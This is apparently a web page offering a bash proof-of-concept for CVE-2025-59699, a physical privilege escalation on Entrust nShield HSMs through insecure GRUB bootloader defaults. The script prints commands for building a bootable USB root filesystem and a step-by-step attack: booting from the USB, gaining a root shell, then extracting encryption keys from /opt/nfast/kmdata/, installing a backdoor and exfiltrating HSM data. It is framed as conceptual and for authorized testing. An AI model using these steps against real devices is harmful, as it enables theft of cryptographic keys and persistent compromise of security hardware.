CVE-2025-59699: Entrust nShield HSM 物理权限提升漏洞

#!/bin/bash # CVE-2025-59699 PoC - Entrust nShield HSM Physical Privilege Escalation # This PoC demonstrates the attack concept (for authorized testing only) echo "=== CVE-2025-59699 PoC ===" echo "Target: Entrust nShield Connect XC, nShield 5c, nShield HSMi" echo "Vulnerability: Insecure Legacy GRUB Bootloader default settings" # Step 1: Prepare USB drive with valid root filesystem cat << 'EOF' # Create bootable USB with valid root filesystem for nShield HSM # Required: USB drive, Linux live environment, nShield firmware rootfs # 1. Format USB drive with ext4 filesystem sudo fdisk /dev/sdX # Select USB device sudo mkfs.ext4 /dev/sdX1 # 2. Mount and extract nShield root filesystem sudo mount /dev/sdX1 /mnt/usb sudo tar -xzf nshield-rootfs.tar.gz -C /mnt/usb # 3. Configure GRUB for USB boot sudo grub-install --boot-directory=/mnt/usb/boot /dev/sdX EOF # Step 2: Attack execution steps echo "" echo "Attack Execution:" cat << 'EOF' # Physical attack steps: # 1. Attacker gains physical access to nShield HSM device # 2. Insert prepared USB drive into device USB port # 3. Power on or reboot the device # 4. Access GRUB bootloader menu (interrupt boot process) # 5. Select USB device as boot source # 6. System boots from USB with attacker-controlled filesystem # 7. Gain root shell access with full system control # Post-exploitation: # - Extract encryption keys from /opt/nfast/kmdata/ # - Modify system configuration # - Install backdoor for persistent access # - Exfiltrate sensitive HSM data EOF echo "" echo "=== End of PoC ===" echo "Note: This is a conceptual PoC for authorized security testing only"